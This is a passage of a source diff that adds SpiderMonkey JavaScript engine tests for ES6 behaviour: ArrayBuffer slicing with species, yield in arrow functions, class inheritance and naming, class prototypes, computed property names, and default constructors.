+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // running in different global
+ b = g.a.slice(8, 16);
+ assertEq(b.constructor, g.ArrayBuffer);
+ assertDeepEq([...new ctor(b)], answer);
+
+ // subclasses
+ // not-modified @@species
+ a = new MyArrayBuffer(16);
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer);
+
+ // modified @@species
+ class MyArrayBuffer2 extends ArrayBuffer {
+ }
+ class MyArrayBuffer3 extends ArrayBuffer {
+ static get [Symbol.species]() {
+ return MyArrayBuffer2;
+ }
+ }
+ a = new MyArrayBuffer3(16);
+ b = a.slice(8, 16);
+ assertEq(b.constructor, MyArrayBuffer2);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/ArrowFunctions/browser.js b/js/src/tests/ecma_6/ArrowFunctions/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrowFunctions/browser.js
diff --git a/js/src/tests/ecma_6/ArrowFunctions/shell.js b/js/src/tests/ecma_6/ArrowFunctions/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrowFunctions/shell.js
diff --git a/js/src/tests/ecma_6/ArrowFunctions/yield-in-arrow.js b/js/src/tests/ecma_6/ArrowFunctions/yield-in-arrow.js
new file mode 100644
index 000000000..8b849a1c8
--- /dev/null
+++ b/js/src/tests/ecma_6/ArrowFunctions/yield-in-arrow.js
@@ -0,0 +1,77 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const yieldInParameters = [
+ `(a = yield) => {}`,
+ `(a = yield /a/g) => {}`, // Should parse as division, not yield expression with regexp.
+ `yield => {};`,
+ `(yield) => {};`,
+ `(yield = 0) => {};`,
+ `([yield]) => {};`,
+ `([yield = 0]) => {};`,
+ `([...yield]) => {};`,
+ `({a: yield}) => {};`,
+ `({yield}) => {};`,
+ `({yield = 0}) => {};`,
+];
+
+const yieldInBody = [
+ `() => yield;`,
+ `() => yield /a/g;`,
+ `() => { var x = yield; }`,
+ `() => { var x = yield /a/g; }`,
+
+ `() => { var yield; };`,
+ `() => { var yield = 0; };`,
+ `() => { var [yield] = []; };`,
+ `() => { var [yield = 0] = []; };`,
+ `() => { var [...yield] = []; };`,
+ `() => { var {a: yield} = {}; };`,
+ `() => { var {yield} = {}; };`,
+ `() => { var {yield = 0} = {}; };`,
+
+ `() => { let yield; };`,
+ `() => { let yield = 0; };`,
+ `() => { let [yield] = []; };`,
+ `() => { let [yield = 0] = []; };`,
+ `() => { let [...yield] = []; };`,
+ `() => { let {a: yield} = {}; };`,
+ `() => { let {yield} = {}; };`,
+ `() => { let {yield = 0} = {}; };`,
+
+ `() => { const yield = 0; };`,
+ `() => { const [yield] = []; };`,
+ `() => { const [yield = 0] = []; };`,
+ `() => { const [...yield] = []; };`,
+ `() => { const {a: yield} = {}; };`,
+ `() => { const {yield} = {}; };`,
+ `() => { const {yield = 0} = {}; };`,
+];
+
+
+// Script context.
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ eval(test);
+ assertThrowsInstanceOf(() => eval(`"use strict"; ${test}`), SyntaxError);
+}
+
+// Function context.
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ eval(`function f() { ${test} }`);
+ assertThrowsInstanceOf(() => eval(`"use strict"; function f() { ${test} }`), SyntaxError);
+}
+
+// Generator context.
+for (let test of yieldInParameters) {
+ assertThrowsInstanceOf(() => eval(`function* g() { ${test} }`), SyntaxError);
+}
+for (let test of yieldInBody) {
+ eval(`function* g() { ${test} }`);
+}
+for (let test of [...yieldInParameters, ...yieldInBody]) {
+ assertThrowsInstanceOf(() => eval(`"use strict"; function* g() { ${test} }`), SyntaxError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Class/boundFunctionSubclassing.js b/js/src/tests/ecma_6/Class/boundFunctionSubclassing.js
new file mode 100644
index 000000000..be9058bb9
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/boundFunctionSubclassing.js
@@ -0,0 +1,37 @@
+class func extends Function { }
+let inst = new func("x", "return this.bar + x");
+
+// First, ensure that we get sane prototype chains for the bound instance
+let bound = inst.bind({bar: 3}, 4);
+assertEq(bound instanceof func, true);
+assertEq(bound(), 7);
+
+// Check the corner case for Function.prototype.bind where the function has
+// a null [[Prototype]]
+Object.setPrototypeOf(inst, null);
+bound = Function.prototype.bind.call(inst, {bar:1}, 3);
+assertEq(Object.getPrototypeOf(bound), null);
+assertEq(bound(), 4);
+
+// Check that we actually pass the proper new.target when calling super()
+function toBind() { }
+
+var boundArgs = [];
+for (let i = 0; i < 5; i++) {
+ boundArgs.push(i);
+ let bound = toBind.bind(undefined, ...boundArgs);
+
+ // We have to wire it up by hand to allow us to use a bound function
+ // as a superclass, but it's doable.
+ bound.prototype = {};
+ class test extends bound { };
+ let passedArgs = [];
+ for (let j = 0; j < 15; j++) {
+ passedArgs.push(j);
+ assertEq(Object.getPrototypeOf(new test(...passedArgs)), test.prototype);
+ }
+}
+
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/browser.js b/js/src/tests/ecma_6/Class/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/browser.js
diff --git a/js/src/tests/ecma_6/Class/bytecodePatternMatching.js b/js/src/tests/ecma_6/Class/bytecodePatternMatching.js
new file mode 100644
index 000000000..446184f80
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/bytecodePatternMatching.js
@@ -0,0 +1,29 @@
+// Constructors can't be called so we can't pattern match
+// them in replace and sort.
+function a() {
+ var b = {a: "A"};
+
+ class X {
+ constructor(a) {
+ return b[a]
+ }
+ };
+
+ assertThrowsInstanceOf(() => "a".replace(/a/, X), TypeError);
+}
+
+function b() {
+ class X {
+ constructor(x, y) {
+ return x - y;
+ }
+ }
+
+ assertThrowsInstanceOf(() => [1, 2, 3].sort(X), TypeError);
+}
+
+a();
+b();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/classConstructorNoCall.js b/js/src/tests/ecma_6/Class/classConstructorNoCall.js
new file mode 100644
index 000000000..f59f87b9c
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/classConstructorNoCall.js
@@ -0,0 +1,21 @@
+// Class constructors don't have a [[Call]]
+class Foo {
+ constructor() { }
+}
+
+assertThrowsInstanceOf(Foo, TypeError);
+
+class Bar extends Foo {
+ constructor() { }
+}
+
+assertThrowsInstanceOf(Bar, TypeError);
+
+assertThrowsInstanceOf(class { constructor() { } }, TypeError);
+assertThrowsInstanceOf(class extends Foo { constructor() { } }, TypeError);
+
+assertThrowsInstanceOf(class foo { constructor() { } }, TypeError);
+assertThrowsInstanceOf(class foo extends Foo { constructor() { } }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/classHeritage.js b/js/src/tests/ecma_6/Class/classHeritage.js
new file mode 100644
index 000000000..478c23fc2
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/classHeritage.js
@@ -0,0 +1,97 @@
+// It's an error to have a non-constructor as your heritage
+assertThrowsInstanceOf(() => eval(`class a extends Math.sin {
+ constructor() { }
+ }`), TypeError);
+assertThrowsInstanceOf(() => eval(`(class a extends Math.sin {
+ constructor() { }
+ })`), TypeError);
+
+// Unless it's null, in which case it works like a normal class, except that
+// the prototype object does not inherit from Object.prototype.
+class basic {
+ constructor() { }
+}
+class nullExtends extends null {
+ constructor() { }
+}
+var nullExtendsExpr = class extends null { constructor() { } };
+
+assertEq(Object.getPrototypeOf(basic), Function.prototype);
+assertEq(Object.getPrototypeOf(basic.prototype), Object.prototype);
+
+for (let extension of [nullExtends, nullExtendsExpr]) {
+ assertEq(Object.getPrototypeOf(extension), Function.prototype);
+ assertEq(Object.getPrototypeOf(extension.prototype), null);
+}
+
+var baseMethodCalled;
+var staticMethodCalled;
+var overrideCalled;
+class base {
+ constructor() { };
+ method() { baseMethodCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ override() { overrideCalled = "base" }
+}
+class derived extends base {
+ constructor() { super(); };
+ override() { overrideCalled = "derived"; }
+}
+var derivedExpr = class extends base {
+ constructor() { super(); };
+ override() { overrideCalled = "derived"; }
+};
+
+// Make sure we get the right object layouts.
+for (let extension of [derived, derivedExpr]) {
+ baseMethodCalled = false;
+ staticMethodCalled = false;
+ overrideCalled = "";
+ // Make sure we get the right object layouts.
+ assertEq(Object.getPrototypeOf(extension), base);
+ assertEq(Object.getPrototypeOf(extension.prototype), base.prototype);
+
+ // We do inherit the methods, right?
+ (new extension()).method();
+ assertEq(baseMethodCalled, true);
+
+ // But we can still override them?
+ (new extension()).override();
+ assertEq(overrideCalled, "derived");
+
+ // What about the statics?
+ extension.staticMethod();
+ assertEq(staticMethodCalled, true);
+}
+
+// Gotta extend an object, or null.
+function nope() {
+ class Foo extends "Bar" {
+ constructor() { }
+ }
+}
+function nopeExpr() {
+ (class extends "Bar" {
+ constructor() { }
+ });
+}
+assertThrowsInstanceOf(nope, TypeError);
+assertThrowsInstanceOf(nopeExpr, TypeError);
+
+// The .prototype of the extension must be an object, or null.
+nope.prototype = "not really, no";
+function stillNo() {
+ class Foo extends nope {
+ constructor() { }
+ }
+}
+function stillNoExpr() {
+ (class extends nope {
+ constructor() { }
+ });
+}
+assertThrowsInstanceOf(stillNo, TypeError);
+assertThrowsInstanceOf(stillNoExpr, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/className.js b/js/src/tests/ecma_6/Class/className.js
new file mode 100644
index 000000000..a33397a8a
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/className.js
@@ -0,0 +1,247 @@
+function testName(C, name, hasValue, hasGetter, hasSetter, isFunction=false) {
+ if (isFunction) {
+ assertEq(typeof C.name, "function");
+ } else {
+ assertEq(C.name, name);
+ }
+
+ var desc = Object.getOwnPropertyDescriptor(C, "name");
+ if (!hasValue && !hasGetter && !hasSetter) {
+ assertEq(desc, undefined);
+ return;
+ }
+
+ if (hasValue) {
+ assertEq("value" in desc, true);
+ if (isFunction) {
+ assertEq(typeof desc.value, "function");
+ } else {
+ assertEq(desc.value, name);
+ }
+ // FIXME: Methods defined in classes should not be enumerable
+ // (bug 1144630).
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+
+ assertEq("get" in desc, false);
+ assertEq("set" in desc, false);
+
+ return;
+ }
+
+ assertEq("value" in desc, false);
+
+ if (hasGetter) {
+ assertEq("get" in desc, true);
+ assertEq(desc.get(), name);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ } else {
+ assertEq("get" in desc, true);
+ assertEq(desc.get, undefined);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ }
+
+ if (hasSetter) {
+ assertEq("set" in desc, true);
+ assertEq(typeof desc.set, "function");
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ } else {
+ assertEq("set" in desc, true);
+ assertEq(desc.set, undefined);
+ // assertEq(desc.enumerable, false);
+ assertEq(desc.configurable, true);
+ }
+}
+
+// ---- declaration ---
+
+class Decl {
+ constructor() {}
+}
+testName(Decl, "Decl", true, false, false);
+
+class DeclWithFunc {
+ constructor() {}
+ static name() {}
+}
+testName(DeclWithFunc, "DeclWithFunc", true, false, false, true);
+
+class DeclWithGetter {
+ constructor() {}
+ static get name() { return "base"; }
+}
+testName(DeclWithGetter, "base", false, true, false);
+
+class DeclWithSetter {
+ constructor() {}
+ static set name(v) {}
+}
+testName(DeclWithSetter, undefined, false, false, true);
+
+class DeclWithGetterSetter {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+}
+testName(DeclWithGetterSetter, "base", false, true, true);
+
+function prop() {
+ return "name";
+}
+class DeclWithComputed {
+ constructor() {}
+ static get [prop()]() { return "base"; }
+}
+testName(DeclWithGetterSetter, "base", false, true, true);
+
+class ExtendedDecl1 extends Decl {
+ constructor() {}
+}
+testName(ExtendedDecl1, "ExtendedDecl1", true, false, false);
+delete ExtendedDecl1.name;
+testName(ExtendedDecl1, "Decl", false, false, false);
+
+class ExtendedDecl2 extends DeclWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+}
+testName(ExtendedDecl2, "extend", false, true, false);
+delete ExtendedDecl2.name;
+testName(ExtendedDecl2, "base", false, false, false);
+
+class ExtendedDecl3 extends DeclWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+}
+testName(ExtendedDecl3, undefined, false, false, true);
+delete ExtendedDecl3.name;
+testName(ExtendedDecl3, "base", false, false, false);
+
+// ---- expression ---
+
+let Expr = class Expr {
+ constructor() {}
+};
+testName(Expr, "Expr", true, false, false);
+
+let ExprWithGetter = class ExprWithGetter {
+ constructor() {}
+ static get name() { return "base"; }
+};
+testName(ExprWithGetter, "base", false, true, false);
+
+let ExprWithSetter = class ExprWithSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExprWithSetter, undefined, false, false, true);
+
+let ExprWithGetterSetter = class ExprWithGetterSetter {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+};
+testName(ExprWithGetterSetter, "base", false, true, true);
+
+
+let ExtendedExpr1 = class ExtendedExpr1 extends Expr {
+ constructor() {}
+};
+testName(ExtendedExpr1, "ExtendedExpr1", true, false, false);
+delete ExtendedExpr1.name;
+testName(ExtendedExpr1, "Expr", false, false, false);
+
+let ExtendedExpr2 = class ExtendedExpr2 extends ExprWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+};
+testName(ExtendedExpr2, "extend", false, true, false);
+delete ExtendedExpr2.name;
+testName(ExtendedExpr2, "base", false, false, false);
+
+let ExtendedExpr3 = class ExtendedExpr3 extends ExprWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExtendedExpr3, undefined, false, false, true);
+delete ExtendedExpr3.name;
+testName(ExtendedExpr3, "base", false, false, false);
+
+// ---- anonymous ----
+
+// Anonymous class expressions don't get name properties unless specified in a
+// static manner.
+let Anon = class {
+ constructor() {}
+};
+testName(Anon, "", false, false, false);
+
+let AnonDefault = class { };
+testName(AnonDefault, "", false, false, false);
+
+let AnonWithGetter = class {
+ constructor() {}
+ static get name() { return "base"; }
+};
+testName(AnonWithGetter, "base", false, true, false);
+
+let AnonWithSetter = class {
+ constructor() {}
+ static set name(v) {}
+};
+testName(AnonWithSetter, undefined, false, false, true);
+
+let AnonWithGetterSetter = class {
+ constructor() {}
+ static get name() { return "base"; }
+ static set name(v) {}
+};
+testName(AnonWithGetterSetter, "base", false, true, true);
+
+
+let ExtendedAnon1 = class extends Anon {
+ constructor() {}
+};
+testName(ExtendedAnon1, "", false, false, false);
+
+let ExtendedAnonDefault = class extends Anon { };
+testName(ExtendedAnonDefault, "", false, false, false);
+
+let ExtendedAnon2 = class extends AnonWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+};
+testName(ExtendedAnon2, "extend", false, true, false);
+delete ExtendedAnon2.name;
+testName(ExtendedAnon2, "base", false, false, false);
+
+let ExtendedAnon3 = class extends AnonWithGetterSetter {
+ constructor() {}
+ static set name(v) {}
+};
+testName(ExtendedAnon3, undefined, false, false, true);
+delete ExtendedAnon3.name;
+testName(ExtendedAnon3, "base", false, false, false);
+
+// ---- mixed ----
+
+let ExtendedExpr4 = class ExtendedExpr4 extends Anon {
+ constructor() {}
+}
+testName(ExtendedExpr4, "ExtendedExpr4", true, false, false);
+delete ExtendedExpr4.name;
+testName(ExtendedExpr4, "", false, false, false);
+
+let ExtendedExpr5 = class ExtendedExpr5 extends AnonWithGetterSetter {
+ constructor() {}
+ static get name() { return "extend"; }
+}
+testName(ExtendedExpr5, "extend", false, true, false);
+delete ExtendedExpr5.name;
+testName(ExtendedExpr5, "base", false, false, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/classPrototype.js b/js/src/tests/ecma_6/Class/classPrototype.js
new file mode 100644
index 000000000..0d2296037
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/classPrototype.js
@@ -0,0 +1,65 @@
+// The prototype of a class is a non-writable, non-configurable, non-enumerable data property.
+class a { constructor() { } }
+let b = class { constructor() { } };
+for (let test of [a,b]) {
+ var protoDesc = Object.getOwnPropertyDescriptor(test, "prototype");
+ assertEq(protoDesc.writable, false);
+ assertEq(protoDesc.configurable, false);
+ assertEq(protoDesc.enumerable, false);
+
+ var prototype = protoDesc.value;
+ assertEq(typeof prototype, "object");
+ assertEq(Object.getPrototypeOf(prototype), Object.prototype);
+ assertEq(Object.isExtensible(prototype), true);
+
+ var desiredPrototype = {};
+ Object.defineProperty(desiredPrototype, "constructor", { writable: true,
+ configurable: true,
+ enumerable: false,
+ value: test });
+ assertDeepEq(prototype, desiredPrototype);
+}
+
+// As such, it should by a TypeError to try and overwrite "prototype" with a
+// static member. The only way to try is with a computed property name; the rest
+// are early errors.
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static ["prototype"]() { }
+ }
+ `), TypeError);
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static get ["prototype"]() { }
+ }
+ `), TypeError);
+assertThrowsInstanceOf(() => eval(`
+ class a {
+ constructor() { };
+ static set ["prototype"](x) { }
+ }
+ `), TypeError);
+
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static ["prototype"]() { }
+ }
+ )`), TypeError);
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static get ["prototype"]() { }
+ }
+ )`), TypeError);
+assertThrowsInstanceOf(() => eval(`(
+ class a {
+ constructor() { };
+ static set ["prototype"](x) { }
+ }
+ )`), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/compPropDestr.js b/js/src/tests/ecma_6/Class/compPropDestr.js
new file mode 100644
index 000000000..2bd8cbd49
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/compPropDestr.js
@@ -0,0 +1,11 @@
+var BUGNUMBER = 924688;
+var summary = 'Computed Property Names';
+
+print(BUGNUMBER + ": " + summary);
+
+var key = "z";
+var { [key]: foo } = { z: "bar" };
+assertEq(foo, "bar");
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Class/compPropNames.js b/js/src/tests/ecma_6/Class/compPropNames.js
new file mode 100644
index 000000000..1c4064d8a
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/compPropNames.js
@@ -0,0 +1,243 @@
+var BUGNUMBER = 924688;
+var summary = 'Computed Property Names';
+
+print(BUGNUMBER + ": " + summary);
+
+// Function definitions.
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e instanceof SyntaxError) {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+
+// Tests begin.
+
+assertThrowsInstanceOf(function() { var a = {[field1]: "a", [field2]: "b"}; }, ReferenceError);
+
+assertThrowsInstanceOf(function() {
+ field1 = 1;
+ var a = {[field1]: "a", [field2]: "b"};
+ }, ReferenceError);
+
+var f1 = 1;
+var f2 = 2;
+var a = {[f1]: "a", [f2]: "b"};
+assertEq(a[1], "a");
+assertEq(a[2], "b");
+
+var a = {[f1]: "a", f2: "b"};
+assertEq(a[1], "a");
+assertEq(a.f2, "b");
+
+var a = {["f1"]: "a", [++f2]: "b"};
+assertEq(a.f1, "a");
+assertEq(a[3], "b");
+
+var a = {["f1"]: "a", f2: "b"};
+assertEq(a.f1, "a");
+assertEq(a.f2, "b");
+
+
+var i = 0;
+var a = {
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i,
+ ["foo" + ++i]: i
+};
+assertEq(a.foo1, 1);
+assertEq(a.foo2, 2);
+assertEq(a.foo3, 3);
+
+var expr = "abc";
+syntaxError("({[");
+syntaxError("({[expr");
+syntaxError("({[expr]");
+syntaxError("({[expr]})");
+syntaxError("({[expr] 0})");
+syntaxError("({[expr], 0})");
+syntaxError("[[expr]: 0]");
+syntaxError("({[expr]: name: 0})");
+syntaxError("({[1, 2]: 3})"); // because '1,2' is an Expression but not an AssignmentExpression
+syntaxError("({[1;]: 1})"); // and not an ExpressionStatement
+syntaxError("({[if (0) 0;]})"); // much less a Statement
+syntaxError("function f() { {[x]: 1} }"); // that's not even an ObjectLiteral
+syntaxError("function f() { [x]: 1 }"); // or that
+syntaxError('a = {[f1@]: "a", [f2]: "b"}'); // unexpected symbol at end of AssignmentExpression
+try { JSON.parse('{["a"]:4}'); } catch(e) {
+ if (!(e instanceof SyntaxError)) throw new Error('Expected syntax error');
+}
+
+// Property characteristics.
+a = { ["b"] : 4 };
+b = Object.getOwnPropertyDescriptor(a, "b");
+assertEq(b.configurable, true);
+assertEq(b.enumerable, true);
+assertEq(b.writable, true);
+assertEq(b.value, 4);
+
+// Setter and getter are not hit.
+Object.defineProperty(Object.prototype, "x", { set: function (x) { throw "FAIL"; },
+ get: function (x) { throw "FAIL"; } });
+var a = {["x"]: 0};
+assertEq(a.x, 0);
+
+a = {["x"]: 1, ["x"]: 2};
+assertEq(a.x, 2);
+a = {x: 1, ["x"]: 2};
+assertEq(a.x, 2);
+a = {["x"]: 1, x: 2};
+assertEq(a.x, 2);
+
+// Symbols
+var unique_sym = Symbol("1"), registered_sym = Symbol.for("2");
+a = { [unique_sym] : 2, [registered_sym] : 3 };
+assertEq(a[unique_sym], 2);
+assertEq(a[registered_sym], 3);
+
+// Same expression can be run several times to build objects with different property names.
+a = [];
+for (var i = 0; i < 3; i++) {
+ a[i] = {["foo" + i]: i};
+}
+assertEq(a[0].foo0, 0);
+assertEq(a[1].foo1, 1);
+assertEq(a[2].foo2, 2);
+
+// Following are stored in object's elements rather than slots.
+var i = 0;
+a = { [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i
+}
+for (var i = 1; i < 9; i++)
+ assertEq(a[i], i);
+syntaxError("a.1");
+syntaxError("a.2");
+syntaxError("a.3");
+syntaxError("a.4");
+syntaxError("a.5");
+syntaxError("a.6");
+syntaxError("a.7");
+syntaxError("a.8");
+
+// Adding a single large index.
+var i = 0;
+a = { [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [++i] : i,
+ [3000] : 2999
+}
+for (var i = 1; i < 9; i++)
+ assertEq(a[i], i);
+assertEq(a[3000], 2999);
+
+// Defining several properties using eval.
+var code = "({";
+for (i = 0; i < 1000; i++)
+ code += "['foo' + " + i + "]: 'ok', "
+code += "['bar']: 'ok'});";
+var obj = eval(code);
+for (i = 0; i < 1000; i++)
+ assertEq(obj["foo" + i], "ok");
+assertEq(obj["bar"], "ok");
+
+// Can yield in a computed property name which is in a generator.
+function* g() {
+ var a = { [yield 1]: 2, [yield 2]: 3};
+ return a;
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value.hello, 2);
+assertEq(next.value.world, 3);
+
+// get and set.
+expr = "abc";
+syntaxError("({get [");
+syntaxError("({get [expr()");
+syntaxError("({get [expr]()");
+syntaxError("({get [expr]()})");
+syntaxError("({get [expr] 0 ()})");
+syntaxError("({get [expr], 0(})");
+syntaxError("[get [expr]: 0()]");
+syntaxError("({get [expr](: name: 0})");
+syntaxError("({get [1, 2](): 3})");
+syntaxError("({get [1;](): 1})");
+syntaxError("({get [if (0) 0;](){}})");
+syntaxError("({set [(a)");
+syntaxError("({set [expr(a)");
+syntaxError("({set [expr](a){}");
+syntaxError("({set [expr]}(a)");
+syntaxError("({set [expr](a), 0})");
+syntaxError("[set [expr](a): 0]");
+syntaxError("({set [expr](a): name: 0})");
+syntaxError("({set [1, 2](a) {return 3;}})");
+syntaxError("({set [1;](a) {return 1}})");
+syntaxError("({set [if (0) 0;](a){}})");
+syntaxError("function f() { {get [x](): 1} }");
+syntaxError("function f() { get [x](): 1 }");
+syntaxError("function f() { {set [x](a): 1} }");
+syntaxError("function f() { set [x](a): 1 }");
+f1 = "abc";
+syntaxError('a = {get [f1@](){}, set [f1](a){}}'); // unexpected symbol at end of AssignmentExpression
+syntaxError('a = {get@ [f1](){}, set [f1](a){}}'); // unexpected symbol after get
+syntaxError('a = {get [f1](){}, set@ [f1](a){}}'); // unexpected symbol after set
+
+expr = "hey";
+a = {get [expr]() { return 3; }, set[expr](v) { throw 2; }};
+assertEq(a.hey, 3);
+assertThrowsValue(() => { a.hey = 5; }, 2);
+
+// Symbols with duplicate get and set.
+expr = Symbol("hey");
+a = {get [expr]() { return 3; }, set[expr](v) { throw 2; },
+ set [expr] (w) { throw 4; }, get[expr](){return 5; }};
+assertEq(a[expr], 5);
+assertThrowsValue(() => { a[expr] = 7; }, 4);
+
+// expressions with side effects are called in the right order
+log = "";
+obj = {
+ "a": log += 'a',
+ get [log += 'b']() {},
+ [log += 'c']: log += 'd',
+ set [log += 'e'](a) {}
+};
+assertEq(log, "abcde");
+
+// assignment expressions, objects and regex in computed names
+obj = {
+ get [a = "hey"]() { return 1; },
+ get [a = {b : 4}.b]() { return 2; },
+ set [/x/.source](a) { throw 3; }
+}
+assertEq(obj.hey, 1);
+assertEq(obj[4], 2);
+assertThrowsValue(() => { obj.x = 7; }, 3);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/Class/constructorCalled.js b/js/src/tests/ecma_6/Class/constructorCalled.js
new file mode 100644
index 000000000..144cc08c7
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/constructorCalled.js
@@ -0,0 +1,45 @@
+// The constructor specified should get called, regardless of order, or
+// other distractions
+
+var called = false;
+class a { constructor(x) { assertEq(x, 4); called = true } }
+new a(4);
+assertEq(called, true);
+
+called = false;
+var aExpr = class { constructor(x) { assertEq(x, 4); called = true } };
+new aExpr(4);
+assertEq(called, true);
+
+called = false;
+class b { constructor() { called = true } method() { } }
+new b();
+assertEq(called, true);
+
+called = false;
+var bExpr = class { constructor() { called = true } method() { } };
+new bExpr();
+assertEq(called, true);
+
+called = false;
+class c { method() { } constructor() { called = true; } }
+new c();
+assertEq(called, true);
+
+called = false;
+var cExpr = class { method() { } constructor() { called = true; } }
+new cExpr();
+assertEq(called, true);
+
+called = false;
+class d { ["constructor"]() { throw new Error("NO"); } constructor() { called = true; } }
+new d();
+assertEq(called, true);
+
+called = false;
+var dExpr = class { ["constructor"]() { throw new Error("NO"); } constructor() { called = true; } }
+new dExpr();
+assertEq(called, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/ecma_6/Class/defaultConstructorBase.js b/js/src/tests/ecma_6/Class/defaultConstructorBase.js
new file mode 100644
index 000000000..2d977935d
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/defaultConstructorBase.js
@@ -0,0 +1,18 @@
+class base {
+ method() { return 1; }
+ *gen() { return 2; }
+ static sMethod() { return 3; }
+ get answer() { return 42; }
+}
+
+// Having a default constructor should work, and also not make you lose
+// everything for no good reason
+
+assertEq(Object.getPrototypeOf(new base()), base.prototype);
+assertEq(new base().method(), 1);
+assertEq(new base().gen().next().value, 2);
+assertEq(base.sMethod(), 3);
+assertEq(new base().answer, 42);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/defaultConstructorDerivedSpread.js b/js/src/tests/ecma_6/Class/defaultConstructorDerivedSpread.js
new file mode 100644
index 000000000..2b85e4d3d
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/defaultConstructorDerivedSpread.js
@@ -0,0 +1,19 @@
+/* Make sure that the default derived class constructor has the required spread semantics.
+ *
+ * Test credit André Bargull
+ */
+
+Array.prototype[Symbol.iterator] = function*() { yield 1; yield 2; };
+
+class Base {
+ constructor(a, b) {
+ assertEq(a, 1);
+ assertEq(b, 2);
+ }
+};
+class Derived extends Base {};
+
+new Derived();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/defaultConstructorNotCallable.js b/js/src/tests/ecma_6/Class/defaultConstructorNotCallable.js
new file mode 100644
index 000000000..558f8dcc2
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/defaultConstructorNotCallable.js
@@ -0,0 +1,8 @@
+class badBase {}
+assertThrowsInstanceOf(badBase, TypeError);
+
+class badSub extends (class {}) {}
+assertThrowsInstanceOf(badSub, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalBinding.js b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalBinding.js
new file mode 100644
index 000000000..d6b15baab
--- /dev/null
+++ b/js/src/tests/ecma_6/Class/derivedConstructorArrowEvalBinding.js
@@ -0,0 +1,12 @@
+// Make sure it doesn't matter when we make the arrow function
+new class extends class { } {
+ constructor() {
+ let arrow = () => this;
